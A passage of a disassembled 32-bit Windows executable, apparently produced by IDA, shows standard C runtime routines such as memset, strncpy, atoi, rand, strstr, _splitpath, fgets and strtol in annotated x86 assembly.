		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27006B4h
		push	eax
		call	near ptr 26F0C45h
		nop


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
